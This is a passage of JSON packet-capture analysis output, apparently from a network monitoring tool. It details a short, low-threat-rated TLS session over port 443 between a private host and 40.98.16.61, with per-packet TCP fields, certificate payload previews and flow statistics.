\"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 111, \"timestamp\": 1781446614.251979, \"timestamp_iso\": \"2026-06-14T19:46:54.251979\", \"timestamp_human\": \"2026-06-14 19:46:54.251\", \"size\": 118, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61937, \"ip_len\": 104, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 443, \"tcp_seq\": 4093516766, \"tcp_ack\": 2259389291, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 114, \"timestamp\": 1781446614.604328, \"timestamp_iso\": \"2026-06-14T19:46:54.604328\", \"timestamp_human\": \"2026-06-14 19:46:54.604\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61938, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 443, \"tcp_seq\": 4093516830, \"tcp_ack\": 2259389955, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 115, \"timestamp\": 1781446614.605854, \"timestamp_iso\": \"2026-06-14T19:46:54.605854\", \"timestamp_human\": \"2026-06-14 19:46:54.605\", \"size\": 124, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61939, \"ip_len\": 110, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 443, \"tcp_seq\": 4093516830, \"tcp_ack\": 2259389955, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 118, \"timestamp\": 1781446614.957005, \"timestamp_iso\": \"2026-06-14T19:46:54.957005\", \"timestamp_human\": \"2026-06-14 19:46:54.957\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61940, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 443, \"tcp_seq\": 4093516900, \"tcp_ack\": 2259390584, \"tcp_window\": 1018, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 119, \"timestamp\": 1781446614.963156, \"timestamp_iso\": \"2026-06-14T19:46:54.963156\", \"timestamp_human\": \"2026-06-14 19:46:54.963\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61941, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 443, \"tcp_seq\": 4093516900, \"tcp_ack\": 2259390584, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}, {\"packet_number\": 121, \"timestamp\": 1781446614.964237, \"timestamp_iso\": \"2026-06-14T19:46:54.964237\", \"timestamp_human\": \"2026-06-14 19:46:54.964\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61942, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63993, \"dst_port\": 443, \"tcp_seq\": 1686838924, \"tcp_ack\": 3062738616, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"SYN\": 2, \"ACK\": 32, \"PSH\": 14, \"RST\": 2}, \"packet_sizes\": [66, 54, 260, 54, 54, 212, 54, 141, 170, 92, 54, 118, 54, 124, 54, 66, 54, 262, 54, 54, 54, 212, 54, 141, 92, 170, 54, 54, 118, 54, 124, 54, 54, 54], \"inter_packet_intervals\": [0.0003371238708496094, 0.0008628368377685547, 0.3363981246948242, 0.038121938705444336, 0.0031609535217285156, 0.40538692474365234, 0.003998994827270508, 2.7179718017578125e-05, 5.2928924560546875e-05, 0.3563809394836426, 0.0007059574127197266, 0.673699140548706, 0.0042150020599365234, 0.5565659999847412, 0.3773069381713867, 0.0003380775451660156, 0.00032591819763183594, 0.38585805892944336, 0.028753042221069336, 0.01083993911743164, 0.008394956588745117, 0.3784959316253662, 0.0018041133880615234, 8.487701416015625e-05, 3.218650817871094e-05, 0.34478092193603516, 0.056997060775756836, 0.0010280609130859375, 0.35234880447387695, 0.0015261173248291016, 0.3511509895324707, 0.006150960922241211, 0.0010809898376464844], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 4.687211990356445, \"avg_packet_size\": 98.23529411764706, \"packets_per_second\": 7.253779020439488, \"bytes_per_second\": 712.5771155372909, \"min_packet_size\": 54, \"max_packet_size\": 262, \"median_packet_size\": 54, \"avg_interval\": 0.14203672698049835, \"min_interval\": 2.7179718017578125e-05, \"max_interval\": 0.673699140548706}, {\"source\": \"40.98.16.61\", \"target\": \"10.152.152.11\", \"packet_count\": 30, \"total_bytes\": 19753, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\", \"_TLSEncryptedContent\", \"TLS\"], \"src_ports\": [443], \"dst_ports\": [63993, 64005], \"first_packet\": 1781446610.277042, \"last_packet\": 1781446614.956823, \"packets\": [{\"packet_number\": 58, \"timestamp\": 1781446610.277042, \"timestamp_iso\": \"2026-06-14T19:46:50.277042\", \"timestamp_human\": \"2026-06-14 19:46:50.277\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63993, \"tcp_seq\": 3062731510, \"tcp_ack\": 1686838185, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 61, \"timestamp\": 1781446610.278233, \"timestamp_iso\": \"2026-06-14T19:46:50.278233\", \"timestamp_human\": \"2026-06-14 19:46:50.278\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 16136, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63993, \"tcp_seq\": 3062731511, \"tcp_ack\": 1686838391, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 62, \"timestamp\": 1781446610.61431, \"timestamp_iso\": \"2026-06-14T19:46:50.614310\", \"timestamp_human\": \"2026-06-14 19:46:50.614\", \"size\": 3470, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 16137, \"ip_len\": 3456, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63993, \"tcp_seq\": 3062731511, \"tcp_ack\": 1686838391, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 64, \"timestamp\": 1781446610.652554, \"timestamp_iso\": \"2026-06-14T19:46:50.652554\", \"timestamp_human\": \"2026-06-14 19:46:50.652\", \"size\": 1002, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 16140, \"ip_len\": 988, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63993, \"tcp_seq\": 3062734927, \"tcp_ack\": 1686838391, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 948, \"payload_preview\": \"5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f0798160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303631303037313834345a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100590cbd365667f4104a9a2690c5b7c738000180f32303236303631303037303330305aa011180f32303236303631373036303330305a300d06092a864886f70d01010b05000382010100b6fed603e69fe282e50191ad3f69a91191bc0cd4e6586ef3a1b84365b132edca1dbb16ecb69b3ec0299d539644490c714f5eafedc7282beb8282aaf2fdf72f6860dc7097a7b7dc2d4f28a64deb0d59235713299f0a61fc42e97295123ddccccef64f89f71e3e8c15b46f2ca8046d5344a64e1419d7090677bc31669aa7c01699b1fa3c2e84836f58ff0b23bc5b6aa2f0d4f3362704f8b819c5c431b2fac242bf43e2739c8ef739492d2e89a620b80e8436fbebdde18379bc873288eba04810d264e29dccf4a33a2990b32cc6155a6423f8d0309afd94fc856cc0c7a82f685537f5ab0e5c4bdb84f40a12170e8983c59a690e48a9d0dd30df912e3f41bfdb827c0c000169030018610428ce9a0d9c0997257ead2375225a03c3ab264f15a271fcd58c4ab12d37cf5e20d8e1b1a5f124f07a570d1448782d56049df82de40516199831c4b28e0c4f1c2c93837c9fbda9497d1542a3e58909a153fb4b55d0f818a3fbeec6f95fb0400793080401005bdac91a6f6bd3e0a47df3429960f618f47a05c671a952a45f60bcddb6a7062d8bd05148a14fad0c551ae5d3bfd91831ce49beb42039ec1561ab3e2ee37a4e4af7943c15aa15d39c27dabc3c17f1cba3ffd7360ca9d4c0cafe8ab20e85217ade9967a1e80741f2b8d1efb858b7d04bb4caa0366f571b502b6799354bc63773e28da5eb0da02acbf6a7adfd89361f4a695a3891c7c52a3cd895969e30639d5e635f5f316ab5abe071c64aec77874124c5b292605d5891d5440bda6f28742be980dfb23c55c17d728afd5e3d4c731b6cd702177e2fbef37d83cb31ac6fc64990ee8fe4b8a7189479973913b3a1dd0b2813b534db83bce09796446d58ac8b738d740e000000\", \"payload_ascii\": \"\\\\'~R7|*UZ8r\\u0010\\u0000\\u0013Ls75)iv\\u0018{g\\u0003\\u0004Z!\\u0016?Y#\\r$*%Ltm@\\u0007\\u0016\\u0000\\u0001\\u0001\\u0000\\u00010\\u0001\\n\\u0001\\u0000\\u00010\\u0001\\u0006\\t+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0001\\u0004\\u00010\\u00010\\u0016\\u0004\\u0014tf7)7\\u0003\\u001d\\u0017\\u0018\\u000f20260610071844Z0s0q0I0\\t\\u0006\\u0005+\\u000e\\u0003\\u0002\\u001a\\u0005\\u0000\\u0004\\u0014[X\\u001e:ioH\\u0004\\u0014tf7)7\\u0003\\u001d\\u0017\\u0002\\u0010\\u0005ef\\u007fA\\u0004i\\f[|s\\u0000\\u0018\\u000f20260610070300Z\\u0011\\u0018\\u000f20260617060300Z0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000\\u0003\\u0001?i\\u0011\\fXnCe2\\u001d\\u0016>)SDI\\fqO^(+/h`p-O(M\\rY#W\\u0013)\\naBr\\u0012=O\\u001e>\\u0015o,\\u0004mSDN\\u0014\\u0019\\t\\u0006w1f\\u0016<.oX\\u000b#[j6'\\u0004\\u00191BCs9I-. \\u000e6y2H\\u0010d:),\\u0015Zd#0l/hU7\\u000e\\\\K\\n\\u0012\\u0017\\u000ei\\u000eH0.?A|\\f\\u0000\\u0001i\\u0003\\u0000\\u0018a\\u0004(\\r\\t%~#u\\\"Z\\u0003&O\\u0015qJ-7^ $zW\\r\\u0014Hx-V\\u0004-\\u0005\\u0016\\u00191\\fO\\u001c,|I}\\u0015B\\tSKU\\u0018_@\\u0007\\b\\u0004\\u0001\\u0000[\\u001aok}B`\\u0018z\\u0005qR_`\\u0006-QHO\\fU\\u001a\\u00181I 9\\u0015a>.zNJ<\\u0015\\u0015'<\\u00176\\f\\u000e!zg\\u0007AXK6oW\\u001bP+g5K7s\\r*6\\u001fJiZ8*<0c^c__1jqJwA$`]XD\\u000bo(t+<U}r^=Ls\\u001bl\\u0002\\u0017~/}1oI\\u0018y9\\u0013\\u000b(\\u00134DmXst\\u000e\\u0000\\u0000\\u0000\"}, {\"packet_number\": 67, \"timestamp\": 1781446610.655921, \"timestamp_iso\": \"2026-06-14T19:46:50.655921\", \"timestamp_human\": \"2026-06-14 19:46:50.655\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 16141, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63993, \"tcp_seq\": 3062735875, \"tcp_ack\": 1686838549, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 68, \"timestamp\": 1781446611.061033, \"timestamp_iso\": \"2026-06-14T19:46:51.061033\", \"timestamp_human\": \"2026-06-14 19:46:51.061\", \"size\": 481, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 16142, \"ip_len\": 467, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63993, \"tcp_seq\": 3062735875, \"tcp_ack\": 1686838549, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 32, \"payload_preview\": \"b59c2a2ae684f33d61b63bf7225dd48aa7fb09ba3bfd0acddea3fc6d8af23a1b\", \"payload_ascii\": \"**=a;\\\"]\\t;\\nm:\\u001b\"}, {\"packet_number\": 71, \"timestamp\": 1781446611.065311, \"timestamp_iso\": \"2026-06-14T19:46:51.065311\", \"timestamp_human\": \"2026-06-14 19:46:51.065\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 16143, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63993, \"tcp_seq\": 3062736302, \"tcp_ack\": 1686838636, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 73, \"timestamp\": 1781446611.065323, \"timestamp_iso\": \"2026-06-14T19:46:51.065323\", \"timestamp_human\": \"2026-06-14 19:46:51.065\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 16144, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63993, \"tcp_seq\": 3062736302, \"tcp_ack\": 1686838752, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 75, \"timestamp\": 1781446611.065376, \"timestamp_iso\": \"2026-06-14T19:46:51.065376\", \"timestamp_human\": \"2026-06-14 19:46:51.065\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 16145, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63993, \"tcp_seq\": 3062736302, \"tcp_ack\": 1686838790, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 76, \"timestamp\": 1781446611.421423, \"timestamp_iso\": \"2026-06-14T19:46:51.421423\", \"timestamp_human\": \"2026-06-14 19:46:51.421\", \"size\": 1081, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 16146, \"ip_len\": 1067, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63993, \"tcp_seq\": 3062736302, \"tcp_ack\": 1686838790, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 79, \"timestamp\": 1781446611.422468, \"timestamp_iso\": \"2026-06-14T19:46:51.422468\", \"timestamp_human\": \"2026-06-14 19:46:51.422\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 16147, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63993, \"tcp_seq\": 3062737329, \"tcp_ack\": 1686838854, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 80, \"timestamp\": 1781446612.095815, \"timestamp_iso\": \"2026-06-14T19:46:52.095815\", \"timestamp_human\": \"2026-06-14 19:46:52.095\", \"size\": 713, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 16148, \"ip_len\": 699, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63993, \"tcp_seq\": 3062737329, \"tcp_ack\": 1686838854, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 83, \"timestamp\": 1781446612.100389, \"timestamp_iso\": \"2026-06-14T19:46:52.100389\", \"timestamp_human\": \"2026-06-14 19:46:52.100\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 16149, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63993, \"tcp_seq\": 3062737988, \"tcp_ack\": 1686838924, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 84, \"timestamp\": 1781446612.656751, \"timestamp_iso\": \"2026-06-14T19:46:52.656751\", \"timestamp_human\": \"2026-06-14 19:46:52.656\", \"size\": 682, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 16150, \"ip_len\": 668, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63993, \"tcp_seq\": 3062737988, \"tcp_ack\": 1686838924, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 87, \"timestamp\": 1781446613.034269, \"timestamp_iso\": \"2026-06-14T19:46:53.034269\", \"timestamp_human\": \"2026-06-14 19:46:53.034\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64005, \"tcp_seq\": 2259379579, \"tcp_ack\": 4093516159, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 90, \"timestamp\": 1781446613.034916, \"timestamp_iso\": \"2026-06-14T19:46:53.034916\", \"timestamp_human\": \"2026-06-14 19:46:53.034\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 24154, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64005, \"tcp_seq\": 2259379580, \"tcp_ack\": 4093516367, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 91, \"timestamp\": 1781446613.420513, \"timestamp_iso\": \"2026-06-14T19:46:53.420513\", \"timestamp_human\": \"2026-06-14 19:46:53.420\", \"size\": 3470, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 24155, \"ip_len\": 3456, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64005, \"tcp_seq\": 2259379580, \"tcp_ack\": 4093516367, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 93, \"timestamp\": 1781446613.449263, \"timestamp_iso\": \"2026-06-14T19:46:53.449263\", \"timestamp_human\": \"2026-06-14 19:46:53.449\", \"size\": 3958, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 24158, \"ip_len\": 3944, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64005, \"tcp_seq\": 2259382996, \"tcp_ack\": 4093516367, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 3904, \"payload_preview\": \"0c300a06082b06010505070301301906092b0601040182371402040c1e0a0053007500620043004130120603551d130101ff040830060101ff020100301f0603551d23041830168014de918648b7a1315931f14b5f07a9dc8879daa8763081ab0603551d1f0481a33081a030819da0819aa081978649687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322e63726c864a687474703a2f2f63726c322e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322e63726c3082011006082b06010505070101048201023081ff306306082b060105050730028657687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322532302d253230787369676e2e637274306906082b06010505073002865d687474703a2f2f6361697373756572732e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322532302d253230787369676e2e637274302d06082b060105050730018621687474703a2f2f6f6e656f6373702e6d6963726f736f66742e636f6d2f6f637370300d06092a864886f70d01010c050003820201007c4871c2b6c045ab740fc63f49e2fc0fd675fdcd50d1e04bb3b3d1a8995ffe5d350d6c0bddd0ad6160188938e2f0b735d2b5213a0c0e5899387cd4d7dd024dd4dcf5ee90e37b6793a8acd41b50bbc54fe6d3f1b51ef0ff99bc2333b0c8a8a627d6d15bed6f14de4b071a0c50fd0edfbeeb4fb29810cb222ae61dd74ba7ae15d10136090b86434f4ee7c57e5ca36b832e493e9488998b52d3963f7198242f3782fa6c74f2bcdb0621bbb85067702415b60b228ff7b927e4037c8495b76604a99255c2bd11c7210a727f65c060a65049e9f62348203a8e9226a8178c98af14a73dce4cadc08e8c3c44f17ffb13f914d77b333d105e64e7273d0c4ce271d766ceaef74eb664ba542bb7fd03d798679837b20a6320e5b0fbd8a48d3a2e42229a22f42655833015c7a242b3bfd036c53652a773677a736e54acbce989d8a5eb1f6dac2750c4c8ebd41c54294dbbb6deabd7c7f11f1464ba7f473165ef797d14c4f019e48076e73b28009b446f2457f507dc8e5ab400589756b10bfa087571de1b53c8eebdf0ab224cbd6bba5d8a44593c246baabce97d8b5f4a4dd78c54b0ab769b80284d457465106021f98e795fda92fb178400dbc4ae8259813c27779e56f707c8bdbe3d91c5978ae69c0f591658486c7da41632ed16c92da796f5e4fdc5cf65a4ddd700e8c90ef49db2a40280cc1bf028ebb03177349ec3ccd7c89b36bbc525e200058d3082058930820471a00302010202100b0c6b2c466917b04773c647d4afc0c8300d06092a864886f70d01010c05003061310b300906035504